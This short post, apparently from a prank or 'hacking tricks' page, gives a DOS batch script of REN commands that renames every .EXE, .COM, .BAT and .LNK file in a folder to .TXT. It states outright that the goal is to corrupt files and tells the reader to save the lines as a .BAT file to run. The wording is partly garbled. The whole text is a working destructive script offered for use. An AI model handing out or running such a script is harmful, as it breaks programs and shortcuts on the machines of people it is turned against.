Change Files extentions of all files at once

In order to corrupt files all that we do is change files to non-working TXT files or some other format.

REN *.EXE *.TXT

REN *.COM *.TXT

REN *.BAT *.TXT

REN *.LNK *.TXT



Just copy the above code into a Notepad file and save it .BAT This is not it You can even change files to any other extension like


*.JPEG *.DOC

*.COM means all files with extension .COM. Ren is a dos command to rename. The above cde just renames all . .COM files to .TXT.
